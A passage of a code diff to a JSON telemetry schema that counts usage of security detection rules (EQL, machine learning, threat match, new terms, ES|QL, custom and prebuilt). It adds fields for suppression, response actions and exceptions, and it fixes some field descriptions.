+ "_meta": { + "description": "Number of osquery response actions within eql rules" + } + } + } + } + } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of EQL rules with exceptions" + } + } + } + }, + "eql_custom": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of custom eql rules enabled" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of custom eql rules disabled" + } + }, + "alerts": { + "type": "long", + "_meta": { + "description": "Number of alerts generated by custom eql rules" + } + }, + "cases": { + "type": "long", + "_meta": { + "description": "Number of cases attached to custom eql detection rule alerts" + } + }, + "legacy_notifications_enabled": { + "type": "long", + "_meta": { + "description": "Number of custom EQL rules with legacy notifications enabled" + } + }, + "legacy_notifications_disabled": { + "type": "long", + "_meta": { + "description": "Number of custom EQL rules with legacy notifications disabled" + } + }, + "notifications_enabled": { + "type": "long", + "_meta": { + "description": "Number of custom EQL rules with notifications enabled" + } + }, + "notifications_disabled": { + "type": "long", + "_meta": { + "description": "Number of custom EQL rules with notifications disabled" + } + }, + "legacy_investigation_fields": { + "type": "long", + "_meta": { + "description": "Number of custom EQL rules using the legacy investigation fields type introduced only in 8.10 ESS" + } + }, + "alert_suppression": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of enabled custom eql rules configured with suppression" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of disabled custom eql rules configured with suppression" + } + }, + "suppressed_fields_count": { + "properties": { + "one": { + "type": "long", + "_meta": { + "description": "Number of custom eql rules configured with one suppression field" + } + }, + "two": { + "type": "long", + "_meta": { + "description": "Number of custom eql rules configured with two suppression field" + } + }, + "three": { + "type": "long", + "_meta": { + "description": "Number of custom eql rules configured with three suppression field" + } + } + } + }, + "suppressed_per_time_period": { + "type": "long", + "_meta": { + "description": "Number of custom eql rules configured with suppression per time period" + } + }, + "suppressed_per_rule_execution": { + "type": "long", + "_meta": { + "description": "Number of custom eql rules configured with suppression per rule execution" + } + }, + "suppresses_missing_fields": { + "type": "long", + "_meta": { + "description": "Number of custom eql rules configured to suppress alerts with missing fields" + } + }, + "does_not_suppress_missing_fields": { + "type": "long", + "_meta": { + "description": "Number of custom eql rules configured do not suppress alerts with missing fields" + } + } + } + }, + "response_actions": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of enabled custom EQL rules configured with response actions" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of disabled custom EQL rules configured with response actions" + } + }, + "response_actions": { + "properties": { + "endpoint": { + "type": "long", + "_meta": { + "description": "Number of endpoint response actions within custom EQL rules" + } + }, + "osquery": { + "type": "long", + "_meta": { + "description": "Number of osquery response actions within custom EQL rules" + } + } + } + } + } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of custom EQL rules with exceptions" + } + } + } + }, + "machine_learning": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of machine_learning rules enabled" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of machine_learning rules disabled" + } + }, + "alerts": { + "type": "long", + "_meta": { + "description": "Number of alerts generated by machine_learning rules" + } + }, + "cases": { + "type": "long", + "_meta": { + "description": "Number of cases attached to machine_learning detection rule alerts" + } + }, + "legacy_notifications_enabled": { + "type": "long", + "_meta": { + "description": "Number of legacy notifications enabled" + } + }, + "legacy_notifications_disabled": { + "type": "long", + "_meta": { + "description": "Number of legacy notifications disabled" + } + }, + "notifications_enabled": { + "type": "long", + "_meta": { + "description": "Number of notifications enabled" + } + }, "notifications_disabled": { "type": "long", "_meta": { @@ -505,7 +1453,165 @@ "legacy_investigation_fields": { "type": "long", "_meta": { - "description": "Number of rules using the legacy investigation fields type introduced only in 8.10 ESS" + "description": "Number of rules using the legacy investigation fields type introduced only in 8.10 ESS" + } + }, + "alert_suppression": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of enabled machine_learning rules configured with suppression" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of disabled machine_learning rules configured with suppression" + } + }, + "suppressed_fields_count": { + "properties": { + "one": { + "type": "long", + "_meta": { + "description": "Number of machine_learning rules configured with one suppression field" + } + }, + "two": { + "type": "long", + "_meta": { + "description": "Number of machine_learning rules configured with two suppression field" + } + }, + "three": { + "type": "long", + "_meta": { + "description": "Number of machine_learning rules configured with three suppression field" + } + } + } + }, + "suppressed_per_time_period": { + "type": "long", + "_meta": { + "description": "Number of machine_learning rules configured with suppression per time period" + } + }, + "suppressed_per_rule_execution": { + "type": "long", + "_meta": { + "description": "Number of machine_learning rules configured with suppression per rule execution" + } + }, + "suppresses_missing_fields": { + "type": "long", + "_meta": { + "description": "Number of machine_learning rules configured to suppress alerts with missing fields" + } + }, + "does_not_suppress_missing_fields": { + "type": "long", + "_meta": { + "description": "Number of machine_learning rules configured do not suppress alerts with missing fields" + } + } + } + }, + "response_actions": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of enabled ML rules configured with response actions" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of disabled ML rules configured with response actions" + } + }, + "response_actions": { + "properties": { + "endpoint": { + "type": "long", + "_meta": { + "description": "Number of endpoint response actions within ML rules" + } + }, + "osquery": { + "type": "long", + "_meta": { + "description": "Number of osquery response actions within ML rules" + } + } + } + } + } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of ML rules with exceptions" + } + } + } + }, + "machine_learning_custom": { + "properties": { + "enabled": { + "type": "long", + "_meta": { + "description": "Number of custom machine_learning rules enabled" + } + }, + "disabled": { + "type": "long", + "_meta": { + "description": "Number of custom machine_learning rules disabled" + } + }, + "alerts": { + "type": "long", + "_meta": { + "description": "Number of alerts generated by custom machine_learning rules" + } + }, + "cases": { + "type": "long", + "_meta": { + "description": "Number of cases attached to custom machine_learning detection rule alerts" + } + }, + "legacy_notifications_enabled": { + "type": "long", + "_meta": { + "description": "Number of custom ML rules with legacy notifications enabled" + } + }, + "legacy_notifications_disabled": { + "type": "long", + "_meta": { + "description": "Number of custom ML rules with legacy notifications disabled" + } + }, + "notifications_enabled": { + "type": "long", + "_meta": { + "description": "Number of custom ML rules with notifications enabled" + } + }, + "notifications_disabled": { + "type": "long", + "_meta": { + "description": "Number of custom ML rules with notifications disabled" + } + }, + "legacy_investigation_fields": { + "type": "long", + "_meta": { + "description": "Number of custom ML rules using the legacy investigation fields type introduced only in 8.10 ESS" } }, "alert_suppression": { @@ -513,13 +1619,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled query rules configured with suppression" + "description": "Number of enabled custom machine_learning rules configured with suppression" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled query rules configured with suppression" + "description": "Number of disabled custom machine_learning rules configured with suppression" } }, "suppressed_fields_count": { @@ -527,19 +1633,19 @@ "one": { "type": "long", "_meta": { - "description": "Number of query rules configured with one suppression field" + "description": "Number of custom machine_learning rules configured with one suppression field" } }, "two": { "type": "long", "_meta": { - "description": "Number of query rules configured with two suppression field" + "description": "Number of custom machine_learning rules configured with two suppression field" } }, "three": { "type": "long", "_meta": { - "description": "Number of query rules configured with three suppression field" + "description": "Number of custom machine_learning rules configured with three suppression field" } } } @@ -547,25 +1653,25 @@ "suppressed_per_time_period": { "type": "long", "_meta": { - "description": "Number of query rules configured with suppression per time period" + "description": "Number of custom machine_learning rules configured with suppression per time period" } }, "suppressed_per_rule_execution": { "type": "long", "_meta": { - "description": "Number of query rules configured with suppression per rule execution" + "description": "Number of custom machine_learning rules configured with suppression per rule execution" } }, "suppresses_missing_fields": { "type": "long", "_meta": { - "description": "Number of query rules configured to suppress alerts with missing fields" + "description": "Number of custom machine_learning rules configured to suppress alerts with missing fields" } }, "does_not_suppress_missing_fields": { "type": "long", "_meta": { - "description": "Number of query rules configured do not suppress alerts with missing fields" + "description": "Number of custom machine_learning rules configured do not suppress alerts with missing fields" } } } @@ -575,13 +1681,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled query rules configured with response actions" + "description": "Number of enabled custom ML rules configured with response actions" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled query rules configured with response actions" + "description": "Number of disabled custom ML rules configured with response actions" } }, "response_actions": { @@ -589,45 +1695,51 @@ "endpoint": { "type": "long", "_meta": { - "description": "Number of endpoint response actions within query rules" + "description": "Number of endpoint response actions within custom ML rules" } }, "osquery": { "type": "long", "_meta": { - "description": "Number of osquery response actions within query rules" + "description": "Number of osquery response actions within custom ML rules" } } } } } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of custom ML rules with exceptions" + } } } }, - "threshold": { + "threat_match": { "properties": { "enabled": { "type": "long", "_meta": { - "description": "Number of threshold rules enabled" + "description": "Number of threat_match rules enabled" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of threshold rules disabled" + "description": "Number of threat_match rules disabled" } }, "alerts": { "type": "long", "_meta": { - "description": "Number of alerts generated by threshold rules" + "description": "Number of alerts generated by threat_match rules" } }, "cases": { "type": "long", "_meta": { - "description": "Number of cases attached to threshold detection rule alerts" + "description": "Number of cases attached to threat_match detection rule alerts" } }, "legacy_notifications_enabled": { @@ -665,13 +1777,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled threshold rules configured with suppression" + "description": "Number of enabled threat_match rules configured with suppression" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled threshold rules configured with suppression" + "description": "Number of disabled threat_match rules configured with suppression" } }, "suppressed_fields_count": { @@ -679,19 +1791,19 @@ "one": { "type": "long", "_meta": { - "description": "Number of threshold rules configured with one suppression field" + "description": "Number of threat_match rules configured with one suppression field" } }, "two": { "type": "long", "_meta": { - "description": "Number of threshold rules configured with two suppression field" + "description": "Number of threat_match rules configured with two suppression field" } }, "three": { "type": "long", "_meta": { - "description": "Number of threshold rules configured with three suppression field" + "description": "Number of threat_match rules configured with three suppression field" } } } @@ -699,25 +1811,25 @@ "suppressed_per_time_period": { "type": "long", "_meta": { - "description": "Number of threshold rules configured with suppression per time period" + "description": "Number of threat_match rules configured with suppression per time period" } }, "suppressed_per_rule_execution": { "type": "long", "_meta": { - "description": "Number of threshold rules configured with suppression per rule execution" + "description": "Number of threat_match rules configured with suppression per rule execution" } }, "suppresses_missing_fields": { "type": "long", "_meta": { - "description": "Number of threshold rules configured to suppress alerts with missing fields" + "description": "Number of threat_match rules configured to suppress alerts with missing fields" } }, "does_not_suppress_missing_fields": { "type": "long", "_meta": { - "description": "Number of threshold rules configured do not suppress alerts with missing fields" + "description": "Number of threat_match rules configured do not suppress alerts with missing fields" } } } @@ -727,13 +1839,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled threshold rules configured with response actions" + "description": "Number of enabled threat match rules configured with response actions" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled threshold rules configured with response actions" + "description": "Number of disabled threat match rules configured with response actions" } }, "response_actions": { @@ -741,75 +1853,81 @@ "endpoint": { "type": "long", "_meta": { - "description": "Number of endpoint response actions within threshold rules" + "description": "Number of endpoint response actions within threat match rules" } }, "osquery": { "type": "long", "_meta": { - "description": "Number of osquery response actions within threshold rules" + "description": "Number of osquery response actions within threat match rules" } } } } } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of threat match rules with exceptions" + } } } }, - "eql": { + "threat_match_custom": { "properties": { "enabled": { "type": "long", "_meta": { - "description": "Number of eql rules enabled" + "description": "Number of custom threat_match rules enabled" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of eql rules disabled" + "description": "Number of custom threat_match rules disabled" } }, "alerts": { "type": "long", "_meta": { - "description": "Number of alerts generated by eql rules" + "description": "Number of alerts generated by custom threat_match rules" } }, "cases": { "type": "long", "_meta": { - "description": "Number of cases attached to eql detection rule alerts" + "description": "Number of cases attached to custom threat_match detection rule alerts" } }, "legacy_notifications_enabled": { "type": "long", "_meta": { - "description": "Number of legacy notifications enabled" + "description": "Number of custom IM rules with legacy notifications enabled" } }, "legacy_notifications_disabled": { "type": "long", "_meta": { - "description": "Number of legacy notifications disabled" + "description": "Number of custom IM rules with legacy notifications disabled" } }, "notifications_enabled": { "type": "long", "_meta": { - "description": "Number of notifications enabled" + "description": "Number of custom IM rules with notifications enabled" } }, "notifications_disabled": { "type": "long", "_meta": { - "description": "Number of notifications enabled" + "description": "Number of custom IM rules with notifications disabled" } }, "legacy_investigation_fields": { "type": "long", "_meta": { - "description": "Number of rules using the legacy investigation fields type introduced only in 8.10 ESS" + "description": "Number of custom IM rules using the legacy investigation fields type introduced only in 8.10 ESS" } }, "alert_suppression": { @@ -817,13 +1935,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled eql rules configured with suppression" + "description": "Number of enabled custom threat_match rules configured with suppression" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled eql rules configured with suppression" + "description": "Number of disabled custom threat_match rules configured with suppression" } }, "suppressed_fields_count": { @@ -831,19 +1949,19 @@ "one": { "type": "long", "_meta": { - "description": "Number of eql rules configured with one suppression field" + "description": "Number of custom threat_match rules configured with one suppression field" } }, "two": { "type": "long", "_meta": { - "description": "Number of eql rules configured with two suppression field" + "description": "Number of custom threat_match rules configured with two suppression field" } }, "three": { "type": "long", "_meta": { - "description": "Number of eql rules configured with three suppression field" + "description": "Number of custom threat_match rules configured with three suppression field" } } } @@ -851,25 +1969,25 @@ "suppressed_per_time_period": { "type": "long", "_meta": { - "description": "Number of eql rules configured with suppression per time period" + "description": "Number of custom threat_match rules configured with suppression per time period" } }, "suppressed_per_rule_execution": { "type": "long", "_meta": { - "description": "Number of eql rules configured with suppression per rule execution" + "description": "Number of custom threat_match rules configured with suppression per rule execution" } }, "suppresses_missing_fields": { "type": "long", "_meta": { - "description": "Number of eql rules configured to suppress alerts with missing fields" + "description": "Number of custom threat_match rules configured to suppress alerts with missing fields" } }, "does_not_suppress_missing_fields": { "type": "long", "_meta": { - "description": "Number of eql rules configured do not suppress alerts with missing fields" + "description": "Number of custom threat_match rules configured do not suppress alerts with missing fields" } } } @@ -879,13 +1997,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled eql rules configured with response actions" + "description": "Number of enabled custom threat match rules configured with response actions" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled eql rules configured with response actions" + "description": "Number of disabled custom threat match rules configured with response actions" } }, "response_actions": { @@ -893,45 +2011,51 @@ "endpoint": { "type": "long", "_meta": { - "description": "Number of endpoint response actions within eql rules" + "description": "Number of endpoint response actions within custom threat match rules" } }, "osquery": { "type": "long", "_meta": { - "description": "Number of osquery response actions within eql rules" + "description": "Number of osquery response actions within custom threat match rules" } } } } } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of custom threat match rules with exceptions" + } } } }, - "machine_learning": { + "new_terms": { "properties": { "enabled": { "type": "long", "_meta": { - "description": "Number of machine_learning rules enabled" + "description": "Number of new_terms rules enabled" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of machine_learning rules disabled" + "description": "Number of new_terms rules disabled" } }, "alerts": { "type": "long", "_meta": { - "description": "Number of alerts generated by machine_learning rules" + "description": "Number of alerts generated by new_terms rules" } }, "cases": { "type": "long", "_meta": { - "description": "Number of cases attached to machine_learning detection rule alerts" + "description": "Number of cases attached to new_terms detection rule alerts" } }, "legacy_notifications_enabled": { @@ -969,13 +2093,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled machine_learning rules configured with suppression" + "description": "Number of enabled new_terms rules configured with suppression" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled machine_learning rules configured with suppression" + "description": "Number of disabled new_terms rules configured with suppression" } }, "suppressed_fields_count": { @@ -983,19 +2107,19 @@ "one": { "type": "long", "_meta": { - "description": "Number of machine_learning rules configured with one suppression field" + "description": "Number of new_terms rules configured with one suppression field" } }, "two": { "type": "long", "_meta": { - "description": "Number of machine_learning rules configured with two suppression field" + "description": "Number of new_terms rules configured with two suppression field" } }, "three": { "type": "long", "_meta": { - "description": "Number of machine_learning rules configured with three suppression field" + "description": "Number of new_terms rules configured with three suppression field" } } } @@ -1003,25 +2127,25 @@ "suppressed_per_time_period": { "type": "long", "_meta": { - "description": "Number of machine_learning rules configured with suppression per time period" + "description": "Number of new_terms rules configured with suppression per time period" } }, "suppressed_per_rule_execution": { "type": "long", "_meta": { - "description": "Number of machine_learning rules configured with suppression per rule execution" + "description": "Number of new_terms rules configured with suppression per rule execution" } }, "suppresses_missing_fields": { "type": "long", "_meta": { - "description": "Number of machine_learning rules configured to suppress alerts with missing fields" + "description": "Number of new_terms rules configured to suppress alerts with missing fields" } }, "does_not_suppress_missing_fields": { "type": "long", "_meta": { - "description": "Number of machine_learning rules configured do not suppress alerts with missing fields" + "description": "Number of new_terms rules configured do not suppress alerts with missing fields" } } } @@ -1031,13 +2155,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled machine_learning rules configured with response actions" + "description": "Number of enabled new terms rules configured with response actions" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled machine_learning rules configured with response actions" + "description": "Number of disabled new terms rules configured with response actions" } }, "response_actions": { @@ -1045,75 +2169,81 @@ "endpoint": { "type": "long", "_meta": { - "description": "Number of endpoint response actions within machine_learning rules" + "description": "Number of endpoint response actions within new terms rules" } }, "osquery": { "type": "long", "_meta": { - "description": "Number of osquery response actions within machine_learning rules" + "description": "Number of osquery response actions within new terms rules" } } } } } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of New Terms rules with exceptions" + } } } }, - "threat_match": { + "new_terms_custom": { "properties": { "enabled": { "type": "long", "_meta": { - "description": "Number of threat_match rules enabled" + "description": "Number of custom new_terms rules enabled" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of threat_match rules disabled" + "description": "Number of custom new_terms rules disabled" } }, "alerts": { "type": "long", "_meta": { - "description": "Number of alerts generated by threat_match rules" + "description": "Number of alerts generated by custom new_terms rules" } }, "cases": { "type": "long", "_meta": { - "description": "Number of cases attached to threat_match detection rule alerts" + "description": "Number of cases attached to custom new_terms detection rule alerts" } }, "legacy_notifications_enabled": { "type": "long", "_meta": { - "description": "Number of legacy notifications enabled" + "description": "Number of custom New Terms rules with legacy notifications enabled" } }, "legacy_notifications_disabled": { "type": "long", "_meta": { - "description": "Number of legacy notifications disabled" + "description": "Number of custom New Terms rules with legacy notifications disabled" } }, "notifications_enabled": { "type": "long", "_meta": { - "description": "Number of notifications enabled" + "description": "Number of custom New Terms rules with notifications enabled" } }, "notifications_disabled": { "type": "long", "_meta": { - "description": "Number of notifications enabled" + "description": "Number of custom New Terms rules with notifications disabled" } }, "legacy_investigation_fields": { "type": "long", "_meta": { - "description": "Number of rules using the legacy investigation fields type introduced only in 8.10 ESS" + "description": "Number of custom New Terms rules using the legacy investigation fields type introduced only in 8.10 ESS" } }, "alert_suppression": { @@ -1121,13 +2251,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled threat_match rules configured with suppression" + "description": "Number of enabled custom new_terms rules configured with suppression" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled threat_match rules configured with suppression" + "description": "Number of disabled custom new_terms rules configured with suppression" } }, "suppressed_fields_count": { @@ -1135,19 +2265,19 @@ "one": { "type": "long", "_meta": { - "description": "Number of threat_match rules configured with one suppression field" + "description": "Number of custom new_terms rules configured with one suppression field" } }, "two": { "type": "long", "_meta": { - "description": "Number of threat_match rules configured with two suppression field" + "description": "Number of custom new_terms rules configured with two suppression field" } }, "three": { "type": "long", "_meta": { - "description": "Number of threat_match rules configured with three suppression field" + "description": "Number of custom new_terms rules configured with three suppression field" } } } @@ -1155,25 +2285,25 @@ "suppressed_per_time_period": { "type": "long", "_meta": { - "description": "Number of threat_match rules configured with suppression per time period" + "description": "Number of custom new_terms rules configured with suppression per time period" } }, "suppressed_per_rule_execution": { "type": "long", "_meta": { - "description": "Number of threat_match rules configured with suppression per rule execution" + "description": "Number of custom new_terms rules configured with suppression per rule execution" } }, "suppresses_missing_fields": { "type": "long", "_meta": { - "description": "Number of threat_match rules configured to suppress alerts with missing fields" + "description": "Number of custom new_terms rules configured to suppress alerts with missing fields" } }, "does_not_suppress_missing_fields": { "type": "long", "_meta": { - "description": "Number of threat_match rules configured do not suppress alerts with missing fields" + "description": "Number of custom new_terms rules configured do not suppress alerts with missing fields" } } } @@ -1183,13 +2313,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled threat_match rules configured with response actions" + "description": "Number of enabled custom new terms rules configured with response actions" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled threat_match rules configured with response actions" + "description": "Number of disabled custom new terms rules configured with response actions" } }, "response_actions": { @@ -1197,45 +2327,51 @@ "endpoint": { "type": "long", "_meta": { - "description": "Number of endpoint response actions within threat_match rules" + "description": "Number of endpoint response actions within custom new terms rules" } }, "osquery": { "type": "long", "_meta": { - "description": "Number of osquery response actions within threat_match rules" + "description": "Number of osquery response actions within custom new terms rules" } } } } } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of custom New Terms rules with exceptions" + } } } }, - "new_terms": { + "esql": { "properties": { "enabled": { "type": "long", "_meta": { - "description": "Number of new_terms rules enabled" + "description": "Number of esql rules enabled" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of new_terms rules disabled" + "description": "Number of esql rules disabled" } }, "alerts": { "type": "long", "_meta": { - "description": "Number of alerts generated by new_terms rules" + "description": "Number of alerts generated by esql rules" } }, "cases": { "type": "long", "_meta": { - "description": "Number of cases attached to new_terms detection rule alerts" + "description": "Number of cases attached to esql detection rule alerts" } }, "legacy_notifications_enabled": { @@ -1273,13 +2409,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled new_terms rules configured with suppression" + "description": "Number of enabled esql rules configured with suppression" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled new_terms rules configured with suppression" + "description": "Number of disabled esql rules configured with suppression" } }, "suppressed_fields_count": { @@ -1287,19 +2423,19 @@ "one": { "type": "long", "_meta": { - "description": "Number of new_terms rules configured with one suppression field" + "description": "Number of esql rules configured with one suppression field" } }, "two": { "type": "long", "_meta": { - "description": "Number of new_terms rules configured with two suppression field" + "description": "Number of esql rules configured with two suppression field" } }, "three": { "type": "long", "_meta": { - "description": "Number of new_terms rules configured with three suppression field" + "description": "Number of esql rules configured with three suppression field" } } } @@ -1307,25 +2443,25 @@ "suppressed_per_time_period": { "type": "long", "_meta": { - "description": "Number of new_terms rules configured with suppression per time period" + "description": "Number of esql rules configured with suppression per time period" } }, "suppressed_per_rule_execution": { "type": "long", "_meta": { - "description": "Number of new_terms rules configured with suppression per rule execution" + "description": "Number of esql rules configured with suppression per rule execution" } }, "suppresses_missing_fields": { "type": "long", "_meta": { - "description": "Number of new_terms rules configured to suppress alerts with missing fields" + "description": "Number of esql rules configured to suppress alerts with missing fields" } }, "does_not_suppress_missing_fields": { "type": "long", "_meta": { - "description": "Number of new_terms rules configured do not suppress alerts with missing fields" + "description": "Number of esql rules configured do not suppress alerts with missing fields" } } } @@ -1335,13 +2471,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled new_term rules configured with response actions" + "description": "Number of enabled ES|QL rules configured with response actions" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled new_term rules configured with response actions" + "description": "Number of disabled ES|QL rules configured with response actions" } }, "response_actions": { @@ -1349,75 +2485,81 @@ "endpoint": { "type": "long", "_meta": { - "description": "Number of endpoint response actions within new_term rules" + "description": "Number of endpoint response actions within ES|QL rules" } }, "osquery": { "type": "long", "_meta": { - "description": "Number of osquery response actions within new_term rules" + "description": "Number of osquery response actions within ES|QL rules" } } } } } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of ES|QL rules with exceptions" + } } } }, - "esql": { + "esql_custom": { "properties": { "enabled": { "type": "long", "_meta": { - "description": "Number of esql rules enabled" + "description": "Number of custom esql rules enabled" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of esql rules disabled" + "description": "Number of custom esql rules disabled" } }, "alerts": { "type": "long", "_meta": { - "description": "Number of alerts generated by esql rules" + "description": "Number of alerts generated by custom esql rules" } }, "cases": { "type": "long", "_meta": { - "description": "Number of cases attached to esql detection rule alerts" + "description": "Number of cases attached to custom esql detection rule alerts" } }, "legacy_notifications_enabled": { "type": "long", "_meta": { - "description": "Number of legacy notifications enabled" + "description": "Number of custom ES|QL rules with legacy notifications enabled" } }, "legacy_notifications_disabled": { "type": "long", "_meta": { - "description": "Number of legacy notifications disabled" + "description": "Number of custom ES|QL rules with legacy notifications disabled" } }, "notifications_enabled": { "type": "long", "_meta": { - "description": "Number of notifications enabled" + "description": "Number of custom ES|QL rules with notifications enabled" } }, "notifications_disabled": { "type": "long", "_meta": { - "description": "Number of notifications enabled" + "description": "Number of custom ES|QL rules with notifications disabled" } }, "legacy_investigation_fields": { "type": "long", "_meta": { - "description": "Number of rules using the legacy investigation fields type introduced only in 8.10 ESS" + "description": "Number of custom ES|QL rules using the legacy investigation fields type introduced only in 8.10 ESS" } }, "alert_suppression": { @@ -1425,13 +2567,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled esql rules configured with suppression" + "description": "Number of enabled custom esql rules configured with suppression" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled esql rules configured with suppression" + "description": "Number of disabled custom esql rules configured with suppression" } }, "suppressed_fields_count": { @@ -1439,19 +2581,19 @@ "one": { "type": "long", "_meta": { - "description": "Number of esql rules configured with one suppression field" + "description": "Number of custom esql rules configured with one suppression field" } }, "two": { "type": "long", "_meta": { - "description": "Number of esql rules configured with two suppression field" + "description": "Number of custom esql rules configured with two suppression field" } }, "three": { "type": "long", "_meta": { - "description": "Number of esql rules configured with three suppression field" + "description": "Number of custom esql rules configured with three suppression field" } } } @@ -1459,25 +2601,25 @@ "suppressed_per_time_period": { "type": "long", "_meta": { - "description": "Number of esql rules configured with suppression per time period" + "description": "Number of custom esql rules configured with suppression per time period" } }, "suppressed_per_rule_execution": { "type": "long", "_meta": { - "description": "Number of esql rules configured with suppression per rule execution" + "description": "Number of custom esql rules configured with suppression per rule execution" } }, "suppresses_missing_fields": { "type": "long", "_meta": { - "description": "Number of esql rules configured to suppress alerts with missing fields" + "description": "Number of custom esql rules configured to suppress alerts with missing fields" } }, "does_not_suppress_missing_fields": { "type": "long", "_meta": { - "description": "Number of esql rules configured do not suppress alerts with missing fields" + "description": "Number of custom esql rules configured do not suppress alerts with missing fields" } } } @@ -1487,13 +2629,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled esql rules configured with response actions" + "description": "Number of enabled custom ES|QL rules configured with response actions" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled esql rules configured with response actions" + "description": "Number of disabled custom ES|QL rules configured with response actions" } }, "response_actions": { @@ -1501,18 +2643,24 @@ "endpoint": { "type": "long", "_meta": { - "description": "Number of endpoint response actions within esql rules" + "description": "Number of endpoint response actions within custom ES|QL rules" } }, "osquery": { "type": "long", "_meta": { - "description": "Number of osquery response actions within esql rules" + "description": "Number of osquery response actions within custom ES|QL rules" } } } } } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of custom ES|QL rules with exceptions" + } } } }, @@ -1639,13 +2787,13 @@ "enabled": { "type": "long", "_meta": { - "description": "Number of enabled elastic rules configured with response actions" + "description": "Number of enabled prebuilt rules configured with response actions" } }, "disabled": { "type": "long", "_meta": { - "description": "Number of disabled elastic rules configured with response actions" + "description": "Number of disabled prebuilt rules configured with response actions" } }, "response_actions": { @@ -1653,18 +2801,24 @@ "endpoint": { "type": "long", "_meta": { - "description": "Number of endpoint response actions within elastic rules" + "description": "Number of endpoint response actions within prebuilt rules" } }, "osquery": { "type": "long", "_meta": { - "description": "Number of osquery response actions within elastic rules" + "description": "Number of osquery response actions within prebuilt rules" } } } } } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of prebuilt rules with exceptions" + } } } }, @@ -1817,6 +2971,12 @@ } } } + }, + "has_exceptions": { + "type": "long", + "_meta": { + "description": "Number of custom rules with exceptions" + } } } } @@ -1883,19 +3043,73 @@ "cases_count_total": { "type": "long", "_meta": { - "description": "The number of total cases generated by a rule" + "description": "The number of total cases generated by a rule" + } + }, + "has_legacy_notification": { + "type": "boolean", + "_meta": { + "description": "True if this rule has a legacy notification" + } + }, + "has_notification": { + "type": "boolean", + "_meta": { + "description": "True if this rule has a notification" + } + }, + "has_legacy_investigation_field": { + "type": "boolean", + "_meta": { + "description": "True if this rule has a legacy investigation field" + } + }, + "has_alert_suppression_missing_fields_strategy_do_not_suppress": { + "type": "boolean", + "_meta": { + "description": "True if this rule has alert suppression missing fields strategy do not suppress" + } + }, + "has_alert_suppression_per_rule_execution": { + "type": "boolean", + "_meta": { + "description": "True if this rule has alert suppression per rule execution" + } + }, + "has_alert_suppression_per_time_period": { + "type": "boolean", + "_meta": { + "description": "True if this rule has alert suppression per time period" + } + }, + "alert_suppression_fields_count": { + "type": "long", + "_meta": { + "description": "The number of alert suppression fields for this rule" + } + }, + "has_response_actions": { + "type": "boolean", + "_meta": { + "description": "True if this rule has response actions" + } + }, + "has_response_actions_endpoint": { + "type": "boolean", + "_meta": { + "description": "True if this rule has endpoint response actions" } }, - "has_legacy_notification": { + "has_response_actions_osquery": { "type": "boolean", "_meta": { - "description": "True if this rule has a legacy notification" + "description": "True if this rule has osquery response actions" } }, - "has_notification": { + "has_exceptions": { "type": "boolean", "_meta": { - "description": "True if this rule has a notification" + "description": "True if this rule has exceptions" } } } @@ -1968,19 +3182,19 @@ "max": { "type": "float", "_meta": { - "description": "The max duration" + "description": "The max duration of time spent indexing alerts" } }, "avg": { "type": "float", "_meta": { - "description": "The avg duration" + "description": "The avg duration of time 